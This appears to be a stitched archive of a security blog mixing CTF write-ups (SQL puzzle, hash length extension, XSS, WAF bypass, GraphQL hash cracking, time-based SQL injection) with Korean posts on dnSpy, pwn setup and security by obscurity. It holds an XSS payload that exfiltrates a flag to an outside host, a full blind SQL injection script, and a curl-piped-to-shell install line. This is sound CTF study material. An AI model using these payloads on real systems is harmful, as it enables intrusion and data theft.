    q = """SELECT IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "TRUE", "FALSE")"""
    curs.execute(q)
    rows = curs.fetchall()
    return "TRUE" in repr(rows[0].values())

success = []
for a in candid:
    for b in candid:
        print (a,b)
        curs.execute("update FLAG set n='{}' where id=20".format(a))
        curs.execute("update FLAG set n='{}' where id=21".format(b))
        conn.commit()
        # sys.exit()
        if chk():
            print ("COOL", a,b)
            success.append((a,b))

assert len(success) > 0
print ("WOWW")
print (success)

 

Fortunately, I've got the right flag.

The flag is X-MAS{Wooat???_4_VM_1n_My_SQL???_mnohijkd}

Web - Cat clicker

Hint indicates, the server project is managed by git. jeongwon jo leaked the server source code with accessing git repository.

The server does not store the data how many can cat the client have, like jwt just check the data and signature to verify integrity.

Checking server side code, the server using md5 based hmac with 64byte random key.

<?php

function hashFor($state) {
	$secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess
	$s = "$secret | $state";
	return md5($s);
}


function verifyState($state, $hash) {
	return $hash === hashFor($state);
}


function getCatsNo($state) {
	$arr = explode(" | ", $state);
	return intval(end($arr));
}


function getParentsLimit($state) {
	$arr = explode(" | ", $state);
	return intval(reset($arr));
}

?>%

The signature format is like "secret | 12 | 0".

md5 function is vulnerable to hash length extension attack. So, appending some value, we can get the flag.

I used hashpump to make fake data and signature.

 

$ hashpump -s "cf13ab76afb625f7f7d6c539c2cb3c84" --data " | 12 | 0" -a " | 13" -k 64
c28217c17f102d42d1b4a0ab33ec10a3
 | 12 | 0\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\x02\x00\x00\x00\x00\x00\x00 | 13

I tried several times because of encoding issue. I used x-www-form-urlencoded format, because multipart/enc type doesn't work well, I don't know why.

Following it the request.

POST /api/buy.php HTTP/1.1
Host: challs.xmas.htsp.ro:3003
Content-Length: 236
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://challs.xmas.htsp.ro:3003
Referer: http://challs.xmas.htsp.ro:3003/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8ki90aas9s32lr01s410mm5kf
Connection: close

state=12%20|%200%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%02%00%00%00%00%00%00%20|%2013&hash=c28217c17f102d42d1b4a0ab33ec10a3&item_id=2

Response is like below.

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 17 Dec 2020 10:19:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Content-Length: 176

{"state":"12 | 1337","hash":"52586134e945c681089af25c36a1866f","success":true,"item":"X-MAS{1_h4v3_s0_m4ny_c4t5_th4t_my_h0m3_c4n_b3_c0ns1d3r3d_4_c4t_sh3lt3r_aaf30fcb4319effa}"}

Web - Comfort bot

It provides source code. Analyzing from input to deep, there is xss injection point with webdriver.

Webdriver is a kind of web browser controller, can be used with various objectives like crawling.

responseEngine/cleverbot/driver.py

import time, string, asyncio
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

windows = {}

def createCleverDriver ():
	global driver

	print("create1")
	chrome_options = Options()
	chrome_options.add_argument ("--headless")
	chrome_options.add_argument ("--no-sandbox")
	chrome_options.add_argument ("--disable-dev-shm-usage")
	chrome_options.binary_location = "/usr/bin/chromium"
	driver = webdriver.Chrome (executable_path = "/chall/chromedriver", options = chrome_options)
	print("create2")

def switchToAuthorWindow(authorID):
	driver.switch_to_window(windows[authorID])

async def getCleverResponse (authorID, txt):
	global driver

	try:
		driver.execute_script("window.open('http://localhost/','_blank');")
		windows[authorID] = driver.window_handles[-1]
		switchToAuthorWindow(authorID)
		
		script = "cleverbot.sendAI('{0}')".format (txt)
		driver.execute_script (script)
		while (driver.execute_script ("return cleverbot.aistate") != 0):
			await asyncio.sleep (0.4)
			switchToAuthorWindow(authorID)

		reply = driver.execute_script ("return cleverbot.reply")
		switchToAuthorWindow(authorID)
		driver.execute_script("window.close()")
		driver.switch_to_window(driver.window_handles[0])
		return reply
	except:
		CreateCleverDriver ()

In getCleverResponse function, second parameter named "txt" is user(attacker) controllable variable.

Building executable javascript code, there is no xss sanitization, so we can execute attacker controllable javascript in web driver browser.

The flag is located in localhost/flag, let's fetch the flag and send to my custom server!

My payload is following

!');fetch('http://localhost/flag').then(function(res){return res.text()}).then(r=>fetch('https://b7212f259517d27982dd364ea7830745.m.pipedream.net/'+btoa(r)));('

We've got the message from server successfully!

Base 64 decoded flag is above.

이번에는 개인적으로 유용하게 쓰고 있는 무료 오픈소스 닷넷 디컴파일러 겸 디버거인 dnSpy를 소개해보고자 합니다.

 

C나 C++같은 언어로 작성되서 빌드된 ELF나 PE 파일같은 네이티브 바이너리 파일들은 IDA Pro나 ghidra같은 툴로 pseudo code 디컴파일 및 정적 분석이 가능합니다. 물론 100% 복구가 안되기 때문에 적당한 휴리스틱 알고리즘을 이용해서 pseudo code 수준으로 보여줍니다.

 

하지만 중간 언어가 있는 닷넷이나 자바로 작성된 프로그램의 경우 훨씬 쉽게 디컴파일이 됩니다. 자바의 경우 jd-gui, 안드로이드의 경우 JEB를 많이 쓰는데 .NET으로 작성된 프로그램의 경우는 어떤걸 쓰면 좋을지 모르실 분들도 있을 것 같습니다.

 

닷넷 프로그램의 경우 오픈소스 SW인 dnSpy를 사용하면 매우 편리합니다.

 

심지어 개인이 만든것으로 보입니다. 

github.com/dnSpy/dnSpy

 

dnSpy/dnSpy

.NET debugger and assembly editor. Contribute to dnSpy/dnSpy development by creating an account on GitHub.

github.com

깃허브 URL은 위와 같고요, 우측 탭에 있는 release로 가서 다운받으시면 됩니다.

릴리즈를 누르면 아래와 같은 화면이 나타나게 됩니다.

dnSpy는 자체도 C#, 닷넷으로 개발되어서 윈도우에서만 구동이 가능합니다.

32bit 닷넷 바이너리를 디컴파일, 디버깅 하고자 한다면 dnSpy win32를 다운받으시면 되고,

64bit 닷넷 바이너리를 디컴파일, 디버깅 하고자 한다면 dnSpy win64를 다운받으시면 됩니다.

 

다운받은 뒤 압축만 풀면 쉽게 사용할 수 있습니다.

 

.NET으로 작성된 윈도우 앱과, Unity 앱도 디버깅이 가능합니다.

 

일단 디컴파일을 통한 닷넷 앱 분석뿐만 아니라, 동적 디버깅도 가능하며, 디버깅 중 인자값을 변경하거나 하는 기능들도 가능한 것으로 알고 있습니다.

 

간혹 닷넷 앱을 분석할 일이 있을 때 사용을 하는데, 생각보다 기능이 더 많을것으로 보이며, 추후에 닷넷 앱 분석을 더 하게 될 일이 있으면 글에 내용을 추가하여 작성하도록 하겠습니다.

 

더 읽어보기

jaeseokim.tistory.com/84

I tried hack.lu ctf 2020 several easy-web challs. There are write-ups.

FluxCloudFluxCloud Serverless (1.0 and 2.0)

I tried both challenge with same solution. I think I first found solution for 2.0, it also worked to 1.0 version challenge.

It provides node.js server source code.

 

There are a few files in zip file. I carefully audited the code.

In this code, the flag is returned by router.get('/flag');

But it is not that simple, because to reach that app.js code, we should passthrough the serverless/index.js router.

router for /:deploymentId/ handles deploymentRouter and then do waf, after then do app function.

 

But there is interesting concept, that is the billing system.

the app function and waf function is wraped by billed function. billed function is defined in serverless/billing.js

billed function check if the money in account is sufficient to pay the cost for traffic. 

When the demo server created, the virtual account is goes up, with some money. Everytime the billed function is called, the money reduces. I didn't audit that code exactly, maybe the money of deployment server is stored in database implemented by redis. 

The account for waf and for app is different. If I can make deplete only account for WAF, not app, the waf is disabled, then I can access the flag!

 

Taking advantage of try-catch phrase in serverless/index.js /:deploymentId/ router, I tried to trigger exception in waf function.

Auditing waf.js code, it checks multiple encoded url and body with recursive function. With too much call of recursive function call, the stack overflow will be triggered. So, I made a HTTP request a thousands of encoded string like %25252525252525.

If the error in serverside occurs, the response is "rip". I tried that request more times to exhaust ACCOUNT_SECURITY to suppress waf functionality.

Finding response header, X-Billing-Account exists. It means, ACCOUNT_SECURITY deposit is bankrupt.

Let's try to access flag!

Cool.

2.0 version chall could be beated with same solution.

web - Confession

Client send graphql query to server. I googled graphql vulenerabilities.

medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696

 

GraphQL — Common vulnerabilities & how to exploit them

Hello there! how you doin? , Bilal Rizwan here & I hope everyone is safe in this time of crisis and making complete use of your…

medium.com

I tried introspect query to server.

The response tells me something.

I checkd the response carefully.

Then I found there is the schema object named accessLog with properties name, args, timestamp. So I tried graphql for fetch that data.

(id in variable field is random value)

I can get a bunch of accessLogs. There are some hash values.

 

I treid to decyprt sha256 hash from online sha256 decryptor. 

The first one was "f", the second one was "fl", the third is "fla", and fourth is "flag".

There are no more sha256 database to decrypt more hashes.

I wrote simple script to get full flag.

#!/usr/bin/env python3

import string
import hashlib
candid = string.printable
flag = "flag"
hashes = """0577f6995695564dbf3e17ef36bf02ee73ba10ab300caf751315615e0fc6dd37
9271dd87ec1a208d1a6b25f8c4e3b21e36c75c02b62fafc48cf1327bac220e48
95f5e39cb28767940602ce3241def53c42d399ae1daf086c9b3863d50a640a81
62663931ff47a4c77e88916d96cad247f6e2c352a628021a1b60690d88625d75
5534607d1f4ee755bc11d75d082147803841bc3959de77d6159fca79a637ac77
52a88481cc6123cc10f4abb55a0a77bf96d286f457f6d7c3088aaf286c881b76
7ffcb9b3a723070230441d3c7aee14528ca23d46764c78365f5fdf24d0cdef53
532e4cecd0320ccb0a634956598c900170bd5c6f1f22941938180fe719b61d37
a4b24c8f4f14444005c7023e9d2f75199201910af98aaef621dc01cb6e63f1d1
1092c20127f3231234eadf0dd5bee65b5f48ffbdc94e5bf928e3605781a8c0d1
1e261929cc13a0e9ecf66d3e6508c14b79c305fa10768b232088e6c2bfb3efa3
0bb629dfb5bf8a50ef20cfff123756005b32a6e0db1486bd1a05b4a7ddfd16c7
0141c897af69e82bc9fde85a4c99b6e693f6eb390b9abdeda4a34953f82efa4b
c20ee107ba4d41370cc354bb4662f3efb6b7c14e7b652394aaa1ad0341e4a1c9
d6b977c1deb6179c7b9ac11fb2ce231b100cf1891a1102d02d8f7fbea057b8a0
fb7dc9b1be6477cea0e23fdc157ff6b67ce075b70453e55bb22a6542255093f1
70b652dad63cabed8241c43ba5879cc6d509076f778610098a20154eb8ac1b89
26f4fc4aba06942e5e9c5935d78da3512907fe666e1f1f186cf79ac14b82fcad
c31c26dbbcf2e7c21223c9f80822c6b8f413e43a2e95797e8b58763605aaca0d
eb992e46fb842592270cd9d932ba6350841966480c6de55985725bbf714a861d
c21af990b2bd859d99cfd24330c859a4c1ae2f13b0722962ae320a460c5e0468
ebf2b799b6bf20653927092dae99a6b0fc0094abc706ca1dce66c5d154b4542d
07a272d52750c9ab31588402d5fb8954e3e5174fcab9291e835859a5f8f34cf9
5a047cba5d6e0cf62d2618149290180e1476106d71bd9fdb7b1f0c41437c2ff5""".split("\n")

def hash(v):
    return hashlib.sha256(v.encode()).hexdigest()

for hashval in hashes:
    for c in candid:
        if hash(flag + c) == hashval:
            flag += c
            print (flag)
            break
print ("Flag is " + flag)

The flag is flag{but_pls_d0nt_t3ll_any1}

The only problem I solved in n1ctf 2020 is web-SignIn, the easiest web chall.

Approach

It provided us the source code without some details.

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
  

Mysql database password and key value are blurred. We can guess what we should do is to get the key code.

We can execute mysql query by triggering __toString function in ip class. The stristr may internally trigger __toString function of $this->ip. By providing ip object in flag's member variable "$ip", we can trigger the SQL query.

Error based SQL Injection

I think, if I can make mysql error message with string "n1ctf", we can get feedback "welcome to n1ctf2020", otherwise, "noip". So, I tried hard to get custom error message, to Blind SQL Injection.

Just triggering error message is not difficult, but triggering error message up to result of SQL subquery was very hard. So, I surrender to do that, I tried another approach.

Time based SQL Injection

Some keywords are filtered by server. Below 3 are obviously filtered keywords

- sleep

- benchmark

- count

Also, I thought the comment meta char like - and # are filtered also.

Because of limited debugging environment, I should guess the server filter keywords with a little information.

 

Conventional Time based SQLi gadgets are all blocked, I tried another approch, the heavy query.

Insert into n1ip query repeates many times, thus, just lookup the table takes some times.

Limits

Because of many call of heavy queries, server downed repeatedly. I tried hard time to endure that phase. If there is more sophisticated exploit like error based attack, please let me know with comments!

 

Exploit

From fetching table schema where the key located, to get the key from the database.

Insert key value to $flag->check, you can get the real flag.

#!/usr/bin/env python3
import requests
import sys

url = """http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}"""

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
}

def query(payload):
    global headers
    headers["X-Forwarded-For"] = payload
    try:
        response = requests.get(url, headers=headers, timeout=1.5)
    except requests.exceptions.ReadTimeout:
        print ("Time out!! 1.5")
        return False
    seconds = response.elapsed.total_seconds()
    # print (response.text)
    if "hackhack" in response.text:
        print ("Keyword filtered!")
    print (seconds)
    return True

print (query("Hello"))
heavyQuery = "select sum(A.time)from n1ip A, n1ip B"
print (query("asdf',({})),('a".format(heavyQuery)))

# sys.exit()

def db_name_length():
    left = 0
    right = 50
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((length(database())>={}),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_length():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length((GROUP_CONCAT((TABLE_NAME))))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def table_list_char(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((TABLE_NAME))),{},1))>={} from information_schema.tables where table_schema='n1ctf_websign'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_col_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        if query("asdf',IF((select length(GROUP_CONCAT(COLUMN_NAME))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(mid)):
            left = mid
        else:
            right = mid
    return left
def get_cols(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((COLUMN_NAME))),{},1))>={} from information_schema.columns where table_schema='n1ctf_websign' and table_name='n1key'),'1',(select sum(A.time)from n1ip A))),('a".format(i, mid)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
def get_key_len():
    left = 0
    right = 100
    #[left, right)
    while left + 1 < right:
        mid = (left+right)//2
        print ('querying {} {} {}'.format(left, mid, right))
        # if query("asdf',IF((select length(`key`)>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
        if query("asdf',IF((select length(GROUP_CONCAT(`key`))>={} from n1key limit 1),'1',({})),('a".format(mid, heavyQuery)):
            left = mid
        else:
            right = mid
    return left
def get_key(len):
    res = ""
    for i in range(1,len+1):
        left = 0
        right = 256
        #[left, right)
        while left + 1 < right:
            mid = (left+right)//2
            print ('querying {} {} {}'.format(left, mid, right))
            # if query("asdf',IF((select ascii(substr(`key`)),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
            if query("asdf',IF((select ascii(substr((GROUP_CONCAT((`key`))),{},1))>={} from n1key limit 1),'1',({}))),('a".format(i, mid, heavyQuery)):
                left = mid
            else:
                right = mid
        res += chr(left)
        print (res)
    return res
# print ("db_name_length = {}".format(db_name_length())) #for query validation check
# table_list_length = 9
# table_length = table_list_length()
# print ("table_list_length = {}".format(table_length))
# table_string = "n1ip,n1key"
# table_string = table_list_char(table_length)
# print ("table_string = {}".format(table_string))
# col_len = get_col_len()
# print ("col_len = {}".format(col_len))
# cols = get_cols(col_len)
# cols = "id/key"
# print ("cols = {}".format(cols))
key_len = get_key_len()
print("key_len = {}".format(key_len))
key = get_key(key_len)
print ("key = {}".format(key))

"""
key length는 왜인지 모르겟는데 제대로 못가져옴.
key값은

n1ctf20205bf75ab0a30dfc0c
길이 25
"""

어쩌다 보니 환경 구축만 계속 여러번 하게 되는 듯 하다.

회사 리눅스 컴이 맛가서 밀고 다시 설치하고, 집컴와서 vm에 Ubuntu 깔고 다시 설치하고 등등... 그냥 이렇게 된 김에 한번 싹 정리하자.

 

Linux에서 포너블 문제풀이든 할 환경을 싹 구축해보자.

사실 그렇게 복잡하진 않다.

Virtualbox에 Ubuntu 18.04 설치

이 과정은 뭐 대충 다 아실거라 생각한다. Virtualbox 설치하고, Ubuntu 18.04 iso 다운받아서, 대충 머신만든 뒤, iso넣어서 부팅하면 아래 처럼 나온다.

Live CD로 플레이하는게 있고, 설치하는게 있는데 당연 설치이다. 언어랑 키보드는 English(US)고르고 그냥 계속 Continue누르면 된다.

Normal install이라고 되있는데 Minimal install으로 바꿔서 했다.

기본 옵션으로 간다.

스왑 알아서 박는다는데 걍 Continue로 간다.

어디있냐는데 Seoul 그대로 간다. 타임존이랑 apt repository 때문에 물어보는거일듯 함.

유저명이랑 패스워드 정하라는데, 어차피 vm안에 놈이니 대충정하자. 좀 기다린다

이제 설치가 다 된거다.

 

virtualbox extension 설치

설치를 하고 나면 화면이 굉장히 작고 host랑 클립보드 공유가 안되는 걸 알 수 있다.

extension을 설치해줘야한다.

게스트 확장 CD 이미지 삽입을 누르면, vbox내에 guest extension 설치 파일이 있는 이미지가 CD로 들어간것처럼 된다

실행하고 안애 파일을 설치시켜주면 된다.

비밀번호를 치면 알아서 설치가 된다.

이제 재부팅을 해주자. 이제 vbox 윈도우를 전체화면을 하면 안에 화면도 꽉차게 된다. 꿀!

 

클립보드 공유도 설정을 해주자.

우분투 화면잠금 해제

Settings -> Privacy -> Screen Lock을 Off해주면 된다.

우분투 sleep mode 해제

Power saving에 never 해준다.

pwntools 설치

일단 python3부터 설치를 해야 한다. 그리고 python3-pwntools를 설치를 하면 된다.

$ sudo apt update && sudo apt install -y python3 python3-dev python3-pip git && pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git

 

잘 설치되었는지 한번 확인해보자.

별 다른 에러가 없는거보니, 잘 된 것 같다.

 

gef 설치

$ sh -c "$(curl -fsSL http://gef.blah.cat/sh)"

 

(curl을 미리 설치해야 한다)

 

잘 된다. 사실 뭐 별것없다. 쓰고나니 다 간단하기만 했네

vscode 설치

text editor로 vscode를 깔아보자.

공홈가서 deb 파일을 받은 뒤

$ sudo dpkg -i vscode.deb 하면 된다.

 

References

https://github.com/hugsy/gef

https://github.com/arthaud/python3-pwntools

개념

Security by obscurity 또는 Security through obscurity라고 부르는 이 녀석은, 어떤 시스템이나 컴포넌트의 보안성을 설계나 구현을 알려지지 않게 하는것에 의존하는 것을 뜻한다.

이 방식만을 이용해서 보안을 적용하는것은 추천되지 않고 있다.

 

내부 구조가 어떻게 생겨먹었는지 알 수 없게 하는 것으로 보안성을 만든다라는 것인데, 약간 말이 이상할 수 있으니 예를 들어보자.

 

예시

 

어떤 컴퓨터가 공공장소에 놓여져 있다. 어떤 사람이 그 컴퓨터를 무단으로 사용하려고(공격하려고)하는데, 버튼을 몇개 눌러보니 윈도우 컴퓨터임을 알 수 있고, 그 윈도우 버전에서 비밀번호 없이 로그인을 할 수 있는 방법이 있음을 알아서 그를 이용해서 로그인을 해서 안에 저장된 자료들을 무단으로 사용하고 온갖 것들을 할 수 있다.

 

그런데 만약 해당 컴퓨터에 Mac OS가 설치되어 있었고, 공격자는 Mac OS를 사용해본 적이 없었다. 그래서 공격을 할 수 없었다고 해보자.

 

공격자는 Mac OS에 대한 이해가 부족하기 때문에 공격에 실패했다. 이러한 방식의 보안을 Security by obscurity라고 볼 수 있다.

 

물론 여기서 아니 누가 Mac OS를 몰라?라고 생각할 수 있는데 그러면 AIX 운영체제나 더 오래된 옛날 Unix 운영체제, Dos 운영체제 등의 예시를 들어보자.

 

잘 안쓰이고 오래되어 잊혀진 구조를 갖는것으로 보안성을 획득하는 것이라고 보면된다.

 

다른 예시를 들어보면, 어떤 파일을 압축을 해서 저장을 한다고 해 보자. 널리 쓰이는 deflate 알고리즘이나 PK zip, gunzip 등의 압축 포맷으로 압축을 하면, 해당 포맷에 대한 압축해제를 하는 프로그램과 알고리즘들이 잘 공개되어 있어서 쉽게 압축을 풀 수 있다. 하지만 만약 공개되지 않은 새로운 압축 알고리즘, 자신들만 쓰는 압축 알고리즘으로 압축을 해 놓으면 이것이 암호화가 아니지만, 그 알고리즘을 모르기 때문에 압축을 풀 수 없다.

이 압축 알고리즘을 알려지지 않도록(비밀로 유지)해서 보안을 성취하는 것 역시 security by obscurity라고 볼 수 있다.

 

Embedded 장비에서 쓰는 파일시스템 중 일부 파일시스템의 Meta data format을 조금 바꾸어서, 일반적인 binwalk와 같은 firmware extractor로 정상적으로 추출되지 않도록 하는 방식도 security by obscurity라고 볼 수 있다.

[코드엔진 2018년도 공유기 펌웨어 커스터마이징 관련 발표자료]

(https://github.com/codeengn/codeengn-conference/blob/master/15/2018%20CodeEngn%20Conference%2015%2C%20%EA%B3%B5%EC%9C%A0%EA%B8%B0%20%EC%BB%A4%EC%8A%A4%ED%85%80%20%ED%8E%8C%EC%9B%A8%EC%96%B4%20%EA%B0%9C%EB%B0%9C%EC%9D%98%20%EC%9D%B4%ED%95%B4%20%5B%EA%B9%80%EC%8A%B9%EC%A3%BC%5D.pdf)

 

Google CTF 2018 - Beginner's Quest (Security by obscurity)

https://ctftime.org/task/6260

 

CTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner's Quest - Security by obscurity

 

ctftime.org

2018년도 Google CTF 문제 중, Beginner's Quest 문제 셋에보면, Security by obscurity 문제가 있다.

 

압축만 되어 있는데, 압축 포맷이 다양하게 되어 있어서 각각의 압축 포맷에 대한 압축 해제를 할 수 없다면 문제를 풀어낼 수 없는 식으로 되어 있다.

 

압축에 비밀 키에 보안 의존성이 있는 것이 아닌, 압축 포맷 자체에 보안 의존성이 있는 것이다.

역사

<wiki의 history 탭을 번역을 해 보았는데 좀 이상합니다. 불완전한 내용이므로 접은 글 처리합니다.>

더보기

Security by obscurity는 자물쇠공 알프래드 찰스 홉스라는 사람을 상대하기 위해 사용되었었다. 찰스 홉스는 1851년에 대중들에게 최첨단 자물쇠도 쉽게 따버릴 수 있다는것을 몸소 보여준 사람이다. "자물쇠 설계의 보안 결합을 노출하면 범죄자에게 더욱더 취약해질 수 있다"라는 우려에 대해서 그는, "도둑들은 해당 부분에 대해 매우 열심히며, 우리가 알고 있는 것 보다 이미 더 많은 것들을 알고 있다"라고 말했다.

 

Security through obscurity에 대한 공식적인 문헌은 매우 부족하다. 예를들어서 보안공학에 관한 책은 1883년 부터 kerckhoffs의 교리를 계속 인용하는데, 예를 들어서 핵 명령 통제를 비밀로 해야 할지 개방해야 할지에 대한 토론에서:

 

우발적인 전쟁의 가능성을 줄이는 것이 핵 명령 통제 기술을 비밀로 두는 것 보다 더 중요하다. 이는 Kerchkhoffs의 교리의 현대적인 재해석에 해당하며, 보안 시스템은 구조를 모호하게 두는 방식이 아닌 키에 의존해야 한다. 라고 말했다.

(의역을 해보자면, 핵 기술을 비밀로 두는 것 보다, 전쟁의 가능성이 더 중요하다는 것인데, 핵 기술을 공개를 하면 서로 핵을 갖기 때문에 서로 조심하게 되어 전쟁의 가능성이 줄어든다 그런 이야기를 하는 것 같아요)

 

법학분야에서 Peter Swire는 "모호함을 통한 보안은 환상", "느슨한 입술이 배를 가라 앉히는" 군사 개념과, 어떻게 경쟁이 인센티브를 공개하게 만드는지에 대한 상충관계에 대한 글을 썼다. (security by obscurity가 구현한 내용들을 비밀로 두는 것으로 보안을 성취하는 것인데, 공개 경쟁을 하기 위해서는 이러한 구현 내용들을 공개해야 한다는 것. 즉 security by obscurity에 반대하는 내용인 것 같습니다.)

비판

Security by obscurity만 가지고 보안성을 담보하는 것은 추천되지 않고, 표준정책에도 좋지 않습니다. 미국의 NIST에서는 이 방식의 보안에 대해 반대되는 의견을 내고 있으며 이는, "시스템 보안은 구현이나 컴포넌트의 비밀성에 의존하면 안됩니다."라는 문구로 대변됩니다.

이 방식의 보안은, security by design(설계에 의한 보안)과 open security(공개 보안)과 대조지만, 실제 프로젝트들은 이러한 전략들을 모두 사용하곤 합니다.

Reference

https://en.wikipedia.org/wiki/Security_through_obscurity

위첼이란?

워게임 사이트 겸 워게임 모음소같은 사이트인 위첼(wechall.net)에 대해 소개합니다.

사실 본 사이트는 해킹에 관심있거나 워게임 문제들을 많이 푸는 분들은 많이들 알고 계신 사이트인데, 글을 안 쓴지도 꽤 오래된 것 같고 간단한 글이라도 한번 써 볼 겸 글을 작성합니다.

 

wechall.net는 워게임 사이트 모음집이라고 보면 됩니다. 물론 wechall에 등록되지 않은 워게임 사이트들도 꽤 있지만요.

 

http://www.wechall.net/

그럼 워게임이란?

여기서 말하는 워게임은 해킹이나 정보보안과 관련된 내용들을 트레이닝 하기 위해 인위적으로 만들어진 문제들을 뜻합니다. 이러한 문제들을 푸는 것이 실제 정보보안에서 공통적으로 필요로 하는 기술과 사고방식 등을 학습하는 데에 도움이 생각보다 꽤 됩니다.

웹해킹, 시스템해킹, 리버싱, 포렌식, 암호학 등의 기술들을 갈고 닦고 기본 개념들을 익히거나 고급 테크닉들을 익힐 수 있습니다.

 

위챌이 제공하는 강력한 기능들

위챌은 여러모로 강력한 기능들을 제공을 합니다. 하나하나 간단하게 살펴보도록 하겠습니다.

 

워게임 사이트 모음집

일단 위첼에 여러개의 워게임 사이트들이 등록되어 있는데, 이를 통해서 알지 못했던 새로운 워게임 사이트들을 알 수 있습니다. 하나의 워게임을 올클리어 하면 다른 워게임으로 넘어갈 수도 있지요

 

워게임 사이트 점수 연동

회원가입 이후 로그인을 하게 되면, 맨 상단에 Account라는 매뉴가 활성화가 됩니다.

해당 항목으로 들어간 뒤, 워게임 사이트와 Username 및 이메일을 입력하면 해당 사이트에서 푼 문제 대비 Score가 계산이 되게 됩니다.

저같은 경우에는 웹해킹 위주의 워게임들만 풀었고, 그래서 점수가 저렇게 연동되어 있습니다. 시스템 해킹 문제들도 좀 풀어야 하는데 손이 잘 안가네요.

랭킹 시스템

앞서 말한 기능에 있는 점수들을 바탕으로 세계 랭킹, 국가별 랭킹, 국내 랭킹 등을 확인해 볼 수 있습니다.

물론 이러한 랭킹이라는게 절대적인 해킹 실력을 의미하진 않겠지만, 만약 같이 워게임을 푸는 친구나 아니면 해킹 고인물들의 닉네임 등을 알고 있다면 이를 구경하는 재미도 좀 쏠쏠합니다. 이 고인물 분은 이러한 워게임을 많이 풀었구나 하는 그런것들도 있지요.

그리고 이 워게임 사이트들 중 오래된 것은 관리가 잘안되어서 점수가 연동이 잘 안되거나 문제를 풀 수 없도록 서버가 고장나거나 하는 기타 상황들이 있으며, 이 위첼에도 등록되어 있지 않은 워게임들이 꽤 있습니다.

pwnable.xyz나 system32.kr나 ctf.j0n9hyun.xyz (HackCTF)라던지 워게임 주인이 위첼에 등록을 안 한 것이지요.

 

만약 본인이 워게임에 관심이 많다면, 위첼에 등록해서 워게임 별 도장깨기를 해 보는건 어떨까요?

